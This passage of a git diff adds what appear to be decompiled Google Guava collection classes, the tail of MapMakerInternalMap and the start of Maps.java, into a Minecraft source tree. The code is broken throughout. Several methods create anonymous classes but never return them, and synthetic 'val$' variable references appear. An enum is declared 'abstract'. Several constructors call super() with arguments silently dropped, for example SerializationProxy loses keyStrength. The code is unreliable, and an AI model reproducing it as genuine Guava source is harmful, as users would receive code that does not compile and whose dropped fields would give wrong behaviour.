+    public void clear()
+    {
+      MapMakerInternalMap.this.clear();
+    }
+  }
+  
+  final class EntrySet extends AbstractSet<Map.Entry<K, V>> {
+    EntrySet() {}
+    
+    public Iterator<Map.Entry<K, V>> iterator() {
+      return new MapMakerInternalMap.EntryIterator(MapMakerInternalMap.this);
+    }
+    
+    public boolean contains(Object o)
+    {
+      if (!(o instanceof Map.Entry)) {
+        return false;
+      }
+      Map.Entry<?, ?> e = (Map.Entry)o;
+      Object key = e.getKey();
+      if (key == null) {
+        return false;
+      }
+      V v = get(key);
+      
+      return (v != null) && (valueEquivalence.equivalent(e.getValue(), v));
+    }
+    
+    public boolean remove(Object o)
+    {
+      if (!(o instanceof Map.Entry)) {
+        return false;
+      }
+      Map.Entry<?, ?> e = (Map.Entry)o;
+      Object key = e.getKey();
+      return (key != null) && (remove(key, e.getValue()));
+    }
+    
+    public int size()
+    {
+      return MapMakerInternalMap.this.size();
+    }
+    
+    public boolean isEmpty()
+    {
+      return MapMakerInternalMap.this.isEmpty();
+    }
+    
+    public void clear()
+    {
+      MapMakerInternalMap.this.clear();
+    }
+  }
+  
+
+
+
+  Object writeReplace()
+  {
+    return new SerializationProxy(keyStrength, valueStrength, keyEquivalence, valueEquivalence, expireAfterWriteNanos, expireAfterAccessNanos, maximumSize, concurrencyLevel, removalListener, this);
+  }
+  
+
+  static abstract class AbstractSerializationProxy<K, V>
+    extends ForwardingConcurrentMap<K, V>
+    implements Serializable
+  {
+    private static final long serialVersionUID = 3L;
+    
+    final MapMakerInternalMap.Strength keyStrength;
+    
+    final MapMakerInternalMap.Strength valueStrength;
+    
+    final Equivalence<Object> keyEquivalence;
+    
+    final Equivalence<Object> valueEquivalence;
+    
+    final long expireAfterWriteNanos;
+    
+    final long expireAfterAccessNanos;
+    
+    final int maximumSize;
+    
+    final int concurrencyLevel;
+    final MapMaker.RemovalListener<? super K, ? super V> removalListener;
+    transient ConcurrentMap<K, V> delegate;
+    
+    AbstractSerializationProxy(MapMakerInternalMap.Strength keyStrength, MapMakerInternalMap.Strength valueStrength, Equivalence<Object> keyEquivalence, Equivalence<Object> valueEquivalence, long expireAfterWriteNanos, long expireAfterAccessNanos, int maximumSize, int concurrencyLevel, MapMaker.RemovalListener<? super K, ? super V> removalListener, ConcurrentMap<K, V> delegate)
+    {
+      this.keyStrength = keyStrength;
+      this.valueStrength = valueStrength;
+      this.keyEquivalence = keyEquivalence;
+      this.valueEquivalence = valueEquivalence;
+      this.expireAfterWriteNanos = expireAfterWriteNanos;
+      this.expireAfterAccessNanos = expireAfterAccessNanos;
+      this.maximumSize = maximumSize;
+      this.concurrencyLevel = concurrencyLevel;
+      this.removalListener = removalListener;
+      this.delegate = delegate;
+    }
+    
+    protected ConcurrentMap<K, V> delegate()
+    {
+      return delegate;
+    }
+    
+    void writeMapTo(ObjectOutputStream out) throws IOException {
+      out.writeInt(delegate.size());
+      for (Map.Entry<K, V> entry : delegate.entrySet()) {
+        out.writeObject(entry.getKey());
+        out.writeObject(entry.getValue());
+      }
+      out.writeObject(null);
+    }
+    
+    MapMaker readMapMaker(ObjectInputStream in) throws IOException
+    {
+      int size = in.readInt();
+      MapMaker mapMaker = new MapMaker().initialCapacity(size).setKeyStrength(keyStrength).setValueStrength(valueStrength).keyEquivalence(keyEquivalence).concurrencyLevel(concurrencyLevel);
+      
+
+
+
+
+      mapMaker.removalListener(removalListener);
+      if (expireAfterWriteNanos > 0L) {
+        mapMaker.expireAfterWrite(expireAfterWriteNanos, TimeUnit.NANOSECONDS);
+      }
+      if (expireAfterAccessNanos > 0L) {
+        mapMaker.expireAfterAccess(expireAfterAccessNanos, TimeUnit.NANOSECONDS);
+      }
+      if (maximumSize != -1) {
+        mapMaker.maximumSize(maximumSize);
+      }
+      return mapMaker;
+    }
+    
+    void readEntries(ObjectInputStream in) throws IOException, ClassNotFoundException
+    {
+      for (;;) {
+        K key = in.readObject();
+        if (key == null) {
+          break;
+        }
+        V value = in.readObject();
+        delegate.put(key, value);
+      }
+    }
+  }
+  
+
+
+
+  private static final class SerializationProxy<K, V>
+    extends MapMakerInternalMap.AbstractSerializationProxy<K, V>
+  {
+    private static final long serialVersionUID = 3L;
+    
+
+
+    SerializationProxy(MapMakerInternalMap.Strength keyStrength, MapMakerInternalMap.Strength valueStrength, Equivalence<Object> keyEquivalence, Equivalence<Object> valueEquivalence, long expireAfterWriteNanos, long expireAfterAccessNanos, int maximumSize, int concurrencyLevel, MapMaker.RemovalListener<? super K, ? super V> removalListener, ConcurrentMap<K, V> delegate)
+    {
+      super(valueStrength, keyEquivalence, valueEquivalence, expireAfterWriteNanos, expireAfterAccessNanos, maximumSize, concurrencyLevel, removalListener, delegate);
+    }
+    
+    private void writeObject(ObjectOutputStream out) throws IOException
+    {
+      out.defaultWriteObject();
+      writeMapTo(out);
+    }
+    
+    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+      in.defaultReadObject();
+      MapMaker mapMaker = readMapMaker(in);
+      delegate = mapMaker.makeMap();
+      readEntries(in);
+    }
+    
+    private Object readResolve() {
+      return delegate;
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/Maps.java b/src/minecraft/com/google/common/collect/Maps.java
new file mode 100644
index 0000000..c007be2
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/Maps.java
@@ -0,0 +1,3979 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.Beta;
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.annotations.GwtIncompatible;
+import com.google.common.base.Converter;
+import com.google.common.base.Equivalence;
+import com.google.common.base.Function;
+import com.google.common.base.Joiner;
+import com.google.common.base.Joiner.MapJoiner;
+import com.google.common.base.Objects;
+import com.google.common.base.Preconditions;
+import com.google.common.base.Predicate;
+import com.google.common.base.Predicates;
+import java.io.Serializable;
+import java.util.AbstractCollection;
+import java.util.AbstractMap;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.EnumMap;
+import java.util.Enumeration;
+import java.util.HashMap;
+import java.util.IdentityHashMap;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.NavigableMap;
+import java.util.NavigableSet;
+import java.util.Properties;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.SortedSet;
+import java.util.TreeMap;
+import java.util.concurrent.ConcurrentMap;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(emulated=true)
+public final class Maps
+{
+  private Maps() {}
+  
+  private static abstract enum EntryFunction
+    implements Function<Map.Entry<?, ?>, Object>
+  {
+    KEY, 
+    
+
+
+
+
+
+    VALUE;
+    
+
+
+    private EntryFunction() {}
+  }
+  
+
+
+  static <K> Function<Map.Entry<K, ?>, K> keyFunction()
+  {
+    return EntryFunction.KEY;
+  }
+  
+  static <V> Function<Map.Entry<?, V>, V> valueFunction()
+  {
+    return EntryFunction.VALUE;
+  }
+  
+  static <K, V> Iterator<K> keyIterator(Iterator<Map.Entry<K, V>> entryIterator) {
+    return Iterators.transform(entryIterator, keyFunction());
+  }
+  
+  static <K, V> Iterator<V> valueIterator(Iterator<Map.Entry<K, V>> entryIterator) {
+    return Iterators.transform(entryIterator, valueFunction());
+  }
+  
+  static <K, V> UnmodifiableIterator<V> valueIterator(UnmodifiableIterator<Map.Entry<K, V>> entryIterator)
+  {
+    new UnmodifiableIterator()
+    {
+      public boolean hasNext() {
+        return val$entryIterator.hasNext();
+      }
+      
+      public V next()
+      {
+        return ((Map.Entry)val$entryIterator.next()).getValue();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  @Beta
+  public static <K extends Enum<K>, V> ImmutableMap<K, V> immutableEnumMap(Map<K, ? extends V> map)
+  {
+    if ((map instanceof ImmutableEnumMap))
+    {
+      ImmutableEnumMap<K, V> result = (ImmutableEnumMap)map;
+      return result; }
+    if (map.isEmpty()) {
+      return ImmutableMap.of();
+    }
+    for (Map.Entry<K, ? extends V> entry : map.entrySet()) {
+      Preconditions.checkNotNull(entry.getKey());
+      Preconditions.checkNotNull(entry.getValue());
+    }
+    return ImmutableEnumMap.asImmutable(new EnumMap(map));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> HashMap<K, V> newHashMap()
+  {
+    return new HashMap();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> HashMap<K, V> newHashMapWithExpectedSize(int expectedSize)
+  {
+    return new HashMap(capacity(expectedSize));
+  }
+  
+
+
+
+
+  static int capacity(int expectedSize)
+  {
+    if (expectedSize < 3) {
+      CollectPreconditions.checkNonnegative(expectedSize, "expectedSize");
+      return expectedSize + 1;
+    }
+    if (expectedSize < 1073741824) {
+      return expectedSize + expectedSize / 3;
+    }
+    return Integer.MAX_VALUE;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> HashMap<K, V> newHashMap(Map<? extends K, ? extends V> map)
+  {
+    return new HashMap(map);
+  }
+  
+
+
+
+
+
+
+
+
+  public static <K, V> LinkedHashMap<K, V> newLinkedHashMap()
+  {
+    return new LinkedHashMap();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> LinkedHashMap<K, V> newLinkedHashMap(Map<? extends K, ? extends V> map)
+  {
+    return new LinkedHashMap(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ConcurrentMap<K, V> newConcurrentMap()
+  {
+    return new MapMaker().makeMap();
+  }
+  
+
+
+
+
+
+
+
+
+  public static <K extends Comparable, V> TreeMap<K, V> newTreeMap()
+  {
+    return new TreeMap();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> TreeMap<K, V> newTreeMap(SortedMap<K, ? extends V> map)
+  {
+    return new TreeMap(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <C, K extends C, V> TreeMap<K, V> newTreeMap(@Nullable Comparator<C> comparator)
+  {
+    return new TreeMap(comparator);
+  }
+  
+
+
+
+
+
+  public static <K extends Enum<K>, V> EnumMap<K, V> newEnumMap(Class<K> type)
+  {
+    return new EnumMap((Class)Preconditions.checkNotNull(type));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <K extends Enum<K>, V> EnumMap<K, V> newEnumMap(Map<K, ? extends V> map)
+  {
+    return new EnumMap(map);
+  }
+  
+
+
+
+
+  public static <K, V> IdentityHashMap<K, V> newIdentityHashMap()
+  {
+    return new IdentityHashMap();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> MapDifference<K, V> difference(Map<? extends K, ? extends V> left, Map<? extends K, ? extends V> right)
+  {
+    if ((left instanceof SortedMap)) {
+      SortedMap<K, ? extends V> sortedLeft = (SortedMap)left;
+      SortedMapDifference<K, V> result = difference(sortedLeft, right);
+      return result;
+    }
+    return difference(left, right, Equivalence.equals());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> MapDifference<K, V> difference(Map<? extends K, ? extends V> left, Map<? extends K, ? extends V> right, Equivalence<? super V> valueEquivalence)
+  {
+    Preconditions.checkNotNull(valueEquivalence);
+    
+    Map<K, V> onlyOnLeft = newHashMap();
+    Map<K, V> onlyOnRight = new HashMap(right);
+    Map<K, V> onBoth = newHashMap();
+    Map<K, MapDifference.ValueDifference<V>> differences = newHashMap();
+    doDifference(left, right, valueEquivalence, onlyOnLeft, onlyOnRight, onBoth, differences);
+    return new MapDifferenceImpl(onlyOnLeft, onlyOnRight, onBoth, differences);
+  }
+  
+
+
+
+  private static <K, V> void doDifference(Map<? extends K, ? extends V> left, Map<? extends K, ? extends V> right, Equivalence<? super V> valueEquivalence, Map<K, V> onlyOnLeft, Map<K, V> onlyOnRight, Map<K, V> onBoth, Map<K, MapDifference.ValueDifference<V>> differences)
+  {
+    for (Map.Entry<? extends K, ? extends V> entry : left.entrySet()) {
+      K leftKey = entry.getKey();
+      V leftValue = entry.getValue();
+      if (right.containsKey(leftKey)) {
+        V rightValue = onlyOnRight.remove(leftKey);
+        if (valueEquivalence.equivalent(leftValue, rightValue)) {
+          onBoth.put(leftKey, leftValue);
+        } else {
+          differences.put(leftKey, ValueDifferenceImpl.create(leftValue, rightValue));
+        }
+      }
+      else {
+        onlyOnLeft.put(leftKey, leftValue);
+      }
+    }
+  }
+  
+  private static <K, V> Map<K, V> unmodifiableMap(Map<K, V> map) {
+    if ((map instanceof SortedMap)) {
+      return Collections.unmodifiableSortedMap((SortedMap)map);
+    }
+    return Collections.unmodifiableMap(map);
+  }
+  
+  static class MapDifferenceImpl<K, V>
+    implements MapDifference<K, V>
+  {
+    final Map<K, V> onlyOnLeft;
+    final Map<K, V> onlyOnRight;
+    final Map<K, V> onBoth;
+    final Map<K, MapDifference.ValueDifference<V>> differences;
+    
+    MapDifferenceImpl(Map<K, V> onlyOnLeft, Map<K, V> onlyOnRight, Map<K, V> onBoth, Map<K, MapDifference.ValueDifference<V>> differences)
+    {
+      this.onlyOnLeft = Maps.unmodifiableMap(onlyOnLeft);
+      this.onlyOnRight = Maps.unmodifiableMap(onlyOnRight);
+      this.onBoth = Maps.unmodifiableMap(onBoth);
+      this.differences = Maps.unmodifiableMap(differences);
+    }
+    
+    public boolean areEqual()
+    {
+      return (onlyOnLeft.isEmpty()) && (onlyOnRight.isEmpty()) && (differences.isEmpty());
+    }
+    
+    public Map<K, V> entriesOnlyOnLeft()
+    {
+      return onlyOnLeft;
+    }
+    
+    public Map<K, V> entriesOnlyOnRight()
+    {
+      return onlyOnRight;
+    }
+    
+    public Map<K, V> entriesInCommon()
+    {
+      return onBoth;
+    }
+    
+    public Map<K, MapDifference.ValueDifference<V>> entriesDiffering()
+    {
+      return differences;
+    }
+    
+    public boolean equals(Object object) {
+      if (object == this) {
+        return true;
+      }
+      if ((object instanceof MapDifference)) {
+        MapDifference<?, ?> other = (MapDifference)object;
+        return (entriesOnlyOnLeft().equals(other.entriesOnlyOnLeft())) && (entriesOnlyOnRight().equals(other.entriesOnlyOnRight())) && (entriesInCommon().equals(other.entriesInCommon())) && (entriesDiffering().equals(other.entriesDiffering()));
+      }
+      
+
+
+      return false;
+    }
+    
+    public int hashCode() {
+      return Objects.hashCode(new Object[] { entriesOnlyOnLeft(), entriesOnlyOnRight(), entriesInCommon(), entriesDiffering() });
+    }
+    
+    public String toString()
+    {
+      if (areEqual()) {
+        return "equal";
+      }
+      
+      StringBuilder result = new StringBuilder("not equal");
+      if (!onlyOnLeft.isEmpty()) {
+        result.append(": only on left=").append(onlyOnLeft);
+      }
+      if (!onlyOnRight.isEmpty()) {
+        result.append(": only on right=").append(onlyOnRight);
+      }
+      if (!differences.isEmpty()) {
+        result.append(": value differences=").append(differences);
+      }
+      return result.toString();
+    }
+  }
+  
+  static class ValueDifferenceImpl<V> implements MapDifference.ValueDifference<V>
+  {
+    private final V left;
+    private final V right;
+    
+    static <V> MapDifference.ValueDifference<V> create(@Nullable V left, @Nullable V right) {
+      return new ValueDifferenceImpl(left, right);
+    }
+    
+    private ValueDifferenceImpl(@Nullable V left, @Nullable V right) {
+      this.left = left;
+      this.right = right;
+    }
+    
+    public V leftValue()
+    {
+      return left;
+    }
+    
+    public V rightValue()
+    {
+      return right;
+    }
+    
+    public boolean equals(@Nullable Object object) {
+      if ((object instanceof MapDifference.ValueDifference)) {
+        MapDifference.ValueDifference<?> that = (MapDifference.ValueDifference)object;
+        
+        return (Objects.equal(left, that.leftValue())) && (Objects.equal(right, that.rightValue()));
+      }
+      
+      return false;
+    }
+    
+    public int hashCode() {
+      return Objects.hashCode(new Object[] { left, right });
+    }
+    
+    public String toString() {
+      return "(" + left + ", " + right + ")";
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> SortedMapDifference<K, V> difference(SortedMap<K, ? extends V> left, Map<? extends K, ? extends V> right)
+  {
+    Preconditions.checkNotNull(left);
+    Preconditions.checkNotNull(right);
+    Comparator<? super K> comparator = orNaturalOrder(left.comparator());
+    SortedMap<K, V> onlyOnLeft = newTreeMap(comparator);
+    SortedMap<K, V> onlyOnRight = newTreeMap(comparator);
+    onlyOnRight.putAll(right);
+    SortedMap<K, V> onBoth = newTreeMap(comparator);
+    SortedMap<K, MapDifference.ValueDifference<V>> differences = newTreeMap(comparator);
+    
+    doDifference(left, right, Equivalence.equals(), onlyOnLeft, onlyOnRight, onBoth, differences);
+    return new SortedMapDifferenceImpl(onlyOnLeft, onlyOnRight, onBoth, differences);
+  }
+  
+  static class SortedMapDifferenceImpl<K, V>
+    extends Maps.MapDifferenceImpl<K, V> implements SortedMapDifference<K, V>
+  {
+    SortedMapDifferenceImpl(SortedMap<K, V> onlyOnLeft, SortedMap<K, V> onlyOnRight, SortedMap<K, V> onBoth, SortedMap<K, MapDifference.ValueDifference<V>> differences)
+    {
+      super(onlyOnRight, onBoth, differences);
+    }
+    
+    public SortedMap<K, MapDifference.ValueDifference<V>> entriesDiffering() {
+      return (SortedMap)super.entriesDiffering();
+    }
+    
+    public SortedMap<K, V> entriesInCommon() {
+      return (SortedMap)super.entriesInCommon();
+    }
+    
+    public SortedMap<K, V> entriesOnlyOnLeft() {
+      return (SortedMap)super.entriesOnlyOnLeft();
+    }
+    
+    public SortedMap<K, V> entriesOnlyOnRight() {
+      return (SortedMap)super.entriesOnlyOnRight();
+    }
+  }
+  
+
+
+
+
+
+
+  static <E> Comparator<? super E> orNaturalOrder(@Nullable Comparator<? super E> comparator)
+  {
+    if (comparator != null) {
+      return comparator;
+    }
+    return Ordering.natural();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> Map<K, V> asMap(Set<K> set, Function<? super K, V> function)
+  {
+    if ((set instanceof SortedSet)) {
+      return asMap((SortedSet)set, function);
+    }
+    return new AsMapView(set, function);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> SortedMap<K, V> asMap(SortedSet<K> set, Function<? super K, V> function)
+  {
+    return Platform.mapsAsMapSortedSet(set, function);
+  }
+  
+  static <K, V> SortedMap<K, V> asMapSortedIgnoreNavigable(SortedSet<K> set, Function<? super K, V> function)
+  {
+    return new SortedAsMapView(set, function);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  @GwtIncompatible("NavigableMap")
+  public static <K, V> NavigableMap<K, V> asMap(NavigableSet<K> set, Function<? super K, V> function)
+  {
+    return new NavigableAsMapView(set, function);
+  }
+  
+  private static class AsMapView<K, V> extends Maps.ImprovedAbstractMap<K, V>
+  {
+    private final Set<K> set;
+    final Function<? super K, V> function;
+    
+    Set<K> backingSet() {
+      return set;
+    }
+    
+    AsMapView(Set<K> set, Function<? super K, V> function) {
+      this.set = ((Set)Preconditions.checkNotNull(set));
+      this.function = ((Function)Preconditions.checkNotNull(function));
+    }
+    
+    public Set<K> createKeySet()
+    {
+      return Maps.removeOnlySet(backingSet());
+    }
+    
+    Collection<V> createValues()
+    {
+      return Collections2.transform(set, function);
+    }
+    
+    public int size()
+    {
+      return backingSet().size();
+    }
+    
+    public boolean containsKey(@Nullable Object key)
+    {
+      return backingSet().contains(key);
+    }
+    
+    public V get(@Nullable Object key)
+    {
+      if (Collections2.safeContains(backingSet(), key))
+      {
+        K k = key;
+        return function.apply(k);
+      }
+      return null;
+    }
+    
+
+    public V remove(@Nullable Object key)
+    {
+      if (backingSet().remove(key))
+      {
+        K k = key;
+        return function.apply(k);
+      }
+      return null;
+    }
+    
+
+    public void clear()
+    {
+      backingSet().clear();
+    }
+    
+    protected Set<Map.Entry<K, V>> createEntrySet()
+    {
+      new Maps.EntrySet()
+      {
+        Map<K, V> map() {
+          return Maps.AsMapView.this;
+        }
+        
+        public Iterator<Map.Entry<K, V>> iterator()
+        {
+          return Maps.asMapEntryIterator(backingSet(), function);
+        }
+      };
+    }
+  }
+  
+  static <K, V> Iterator<Map.Entry<K, V>> asMapEntryIterator(Set<K> set, final Function<? super K, V> function)
+  {
+    new TransformedIterator(set.iterator())
+    {
+      Map.Entry<K, V> transform(K key) {
+        return Maps.immutableEntry(key, function.apply(key));
+      }
+    };
+  }
+  
+  private static class SortedAsMapView<K, V> extends Maps.AsMapView<K, V> implements SortedMap<K, V>
+  {
+    SortedAsMapView(SortedSet<K> set, Function<? super K, V> function)
+    {
+      super(function);
+    }
+    
+    SortedSet<K> backingSet()
+    {
+      return (SortedSet)super.backingSet();
+    }
+    
+    public Comparator<? super K> comparator()
+    {
+      return backingSet().comparator();
+    }
+    
+    public Set<K> keySet()
+    {
+      return Maps.removeOnlySortedSet(backingSet());
+    }
+    
+    public SortedMap<K, V> subMap(K fromKey, K toKey)
+    {
+      return Maps.asMap(backingSet().subSet(fromKey, toKey), function);
+    }
+    
+    public SortedMap<K, V> headMap(K toKey)
+    {
+      return Maps.asMap(backingSet().headSet(toKey), function);
+    }
+    
+    public SortedMap<K, V> tailMap(K fromKey)
+    {
+      return Maps.asMap(backingSet().tailSet(fromKey), function);
+    }
+    
+    public K firstKey()
+    {
+      return backingSet().first();
+    }
+    
+    public K lastKey()
+    {
+      return backingSet().last();
+    }
+  }
+  
+
+  @GwtIncompatible("NavigableMap")
+  private static final class NavigableAsMapView<K, V>
+    extends AbstractNavigableMap<K, V>
+  {
+    private final NavigableSet<K> set;
+    
+    private final Function<? super K, V> function;
+    
+
+    NavigableAsMapView(NavigableSet<K> ks, Function<? super K, V> vFunction)
+    {
+      set = ((NavigableSet)Preconditions.checkNotNull(ks));
+      function = ((Function)Preconditions.checkNotNull(vFunction));
+    }
+    
+
+    public NavigableMap<K, V> subMap(K fromKey, boolean fromInclusive, K toKey, boolean toInclusive)
+    {
+      return Maps.asMap(set.subSet(fromKey, fromInclusive, toKey, toInclusive), function);
+    }
+    
+    public NavigableMap<K, V> headMap(K toKey, boolean inclusive)
+    {
+      return Maps.asMap(set.headSet(toKey, inclusive), function);
+    }
+    
+    public NavigableMap<K, V> tailMap(K fromKey, boolean inclusive)
+    {
+      return Maps.asMap(set.tailSet(fromKey, inclusive), function);
+    }
+    
+    public Comparator<? super K> comparator()
+    {
+      return set.comparator();
+    }
+    
+    @Nullable
+    public V get(@Nullable Object key)
+    {
+      if (Collections2.safeContains(set, key))
+      {
+        K k = key;
+        return function.apply(k);
+      }
+      return null;
+    }
+    
+
+    public void clear()
+    {
+      set.clear();
+    }
+    
+    Iterator<Map.Entry<K, V>> entryIterator()
+    {
+      return Maps.asMapEntryIterator(set, function);
+    }
+    
+    Iterator<Map.Entry<K, V>> descendingEntryIterator()
+    {
+      return descendingMap().entrySet().iterator();
+    }
+    
+    public NavigableSet<K> navigableKeySet()
+    {
+      return Maps.removeOnlyNavigableSet(set);
+    }
+    
+    public int size()
+    {
+      return set.size();
+    }
+    
+    public NavigableMap<K, V> descendingMap()
+    {
+      return Maps.asMap(set.descendingSet(), function);
+    }
+  }
+  
+  private static <E> Set<E> removeOnlySet(Set<E> set) {
+    new ForwardingSet()
+    {
+      protected Set<E> delegate() {
+        return val$set;
+      }
+      
+      public boolean add(E element)
+      {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean addAll(Collection<? extends E> es)
+      {
+        throw new UnsupportedOperationException();
+      }
+    };
+  }
+  
+  private static <E> SortedSet<E> removeOnlySortedSet(SortedSet<E> set) {
+    new ForwardingSortedSet()
+    {
+      protected SortedSet<E> delegate() {
+        return val$set;
+      }
+      
+      public boolean add(E element)
+      {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean addAll(Collection<? extends E> es)
+      {
+        throw new UnsupportedOperationException();
+      }
+      
+      public SortedSet<E> headSet(E toElement)
+      {
+        return Maps.removeOnlySortedSet(super.headSet(toElement));
+      }
+      
+      public SortedSet<E> subSet(E fromElement, E toElement)
+      {
+        return Maps.removeOnlySortedSet(super.subSet(fromElement, toElement));
+      }
+      
+      public SortedSet<E> tailSet(E fromElement)
+      {
+        return Maps.removeOnlySortedSet(super.tailSet(fromElement));
+      }
+    };
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  private static <E> NavigableSet<E> removeOnlyNavigableSet(NavigableSet<E> set) {
+    new ForwardingNavigableSet()
+    {
+      protected NavigableSet<E> delegate() {
+        return val$set;
+      }
+      
+      public boolean add(E element)
+      {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean addAll(Collection<? extends E> es)
+      {
+        throw new UnsupportedOperationException();
+      }
+      
+      public SortedSet<E> headSet(E toElement)
+      {
+        return Maps.removeOnlySortedSet(super.headSet(toElement));
+      }
+      
+      public SortedSet<E> subSet(E fromElement, E toElement)
+      {
+        return Maps.removeOnlySortedSet(super.subSet(fromElement, toElement));
+      }
+      
+
+      public SortedSet<E> tailSet(E fromElement)
+      {
+        return Maps.removeOnlySortedSet(super.tailSet(fromElement));
+      }
+      
+      public NavigableSet<E> headSet(E toElement, boolean inclusive)
+      {
+        return Maps.removeOnlyNavigableSet(super.headSet(toElement, inclusive));
+      }
+      
+      public NavigableSet<E> tailSet(E fromElement, boolean inclusive)
+      {
+        return Maps.removeOnlyNavigableSet(super.tailSet(fromElement, inclusive));
+      }
+      
+
+      public NavigableSet<E> subSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+      {
+        return Maps.removeOnlyNavigableSet(super.subSet(fromElement, fromInclusive, toElement, toInclusive));
+      }
+      
+
+      public NavigableSet<E> descendingSet()
+      {
+        return Maps.removeOnlyNavigableSet(super.descendingSet());
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> ImmutableMap<K, V> toMap(Iterable<K> keys, Function<? super K, V> valueFunction)
+  {
+    return toMap(keys.iterator(), valueFunction);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  @Beta
+  public static <K, V> ImmutableMap<K, V> toMap(Iterator<K> keys, Function<? super K, V> valueFunction)
+  {
+    Preconditions.checkNotNull(valueFunction);
+    
+    Map<K, V> builder = newLinkedHashMap();
+    while (keys.hasNext()) {
+      K key = keys.next();
+      builder.put(key, valueFunction.apply(key));
+    }
+    return ImmutableMap.copyOf(builder);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableMap<K, V> uniqueIndex(Iterable<V> values, Function<? super V, K> keyFunction)
+  {
+    return uniqueIndex(values.iterator(), keyFunction);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <K, V> ImmutableMap<K, V> uniqueIndex(Iterator<V> values, Function<? super V, K> keyFunction)
+  {
+    Preconditions.checkNotNull(keyFunction);
+    ImmutableMap.Builder<K, V> builder = ImmutableMap.builder();
+    while (values.hasNext()) {
+      V value = values.next();
+      builder.put(keyFunction.apply(value), value);
+    }
+    return builder.build();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("java.util.Properties")
+  public static ImmutableMap<String, String> fromProperties(Properties properties)
+  {
+    ImmutableMap.Builder<String, String> builder = ImmutableMap.builder();
+    
+    for (Enumeration<?> e = properties.propertyNames(); e.hasMoreElements();) {
+      String key = (String)e.nextElement();
+      builder.put(key, properties.getProperty(key));
+    }
+    
+    return builder.build();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=true)
+  public static <K, V> Map.Entry<K, V> immutableEntry(@Nullable K key, @Nullable V value)
+  {
+    return new ImmutableEntry(key, value);
+  }
+  
+
+
+
+
+
+
+
+
+  static <K, V> Set<Map.Entry<K, V>> unmodifiableEntrySet(Set<Map.Entry<K, V>> entrySet)
+  {
+    return new UnmodifiableEntrySet(Collections.unmodifiableSet(entrySet));
+  }
+  
+
+
+
+
+
+
+
+
+
+  static <K, V> Map.Entry<K, V> unmodifiableEntry(Map.Entry<? extends K, ? extends V> entry)
+  {
+    Preconditions.checkNotNull(entry);
+    new AbstractMapEntry() {
+      public K getKey() {
+        return val$entry.getKey();
+      }
+      
+      public V getValue() {
+        return val$entry.getValue();
+      }
+    };
+  }
+  
+  static class UnmodifiableEntries<K, V> extends ForwardingCollection<Map.Entry<K, V>>
+  {
+    private final Collection<Map.Entry<K, V>> entries;
+    
+    UnmodifiableEntries(Collection<Map.Entry<K, V>> entries)
+    {
+      this.entries = entries;
+    }
+    
+    protected Collection<Map.Entry<K, V>> delegate() {
+      return entries;
+    }
+    
+    public Iterator<Map.Entry<K, V>> iterator() {
+      final Iterator<Map.Entry<K, V>> delegate = super.iterator();
+      new UnmodifiableIterator()
+      {
+        public boolean hasNext() {
+          return delegate.hasNext();
+        }
+        
+        public Map.Entry<K, V> next() {
+          return Maps.unmodifiableEntry((Map.Entry)delegate.next());
+        }
+      };
+    }
+    
+
+    public Object[] toArray()
+    {
+      return standardToArray();
+    }
+    
+    public <T> T[] toArray(T[] array) {
+      return standardToArray(array);
+    }
+  }
+  
+  static class UnmodifiableEntrySet<K, V> extends Maps.UnmodifiableEntries<K, V> implements Set<Map.Entry<K, V>>
+  {
+    UnmodifiableEntrySet(Set<Map.Entry<K, V>> entries)
+    {
+      super();
+    }
+    
+
+    public boolean equals(@Nullable Object object)
+    {
+      return Sets.equalsImpl(this, object);
+    }
+    
+    public int hashCode() {
+      return Sets.hashCodeImpl(this);
+    }
+  }
+  
+
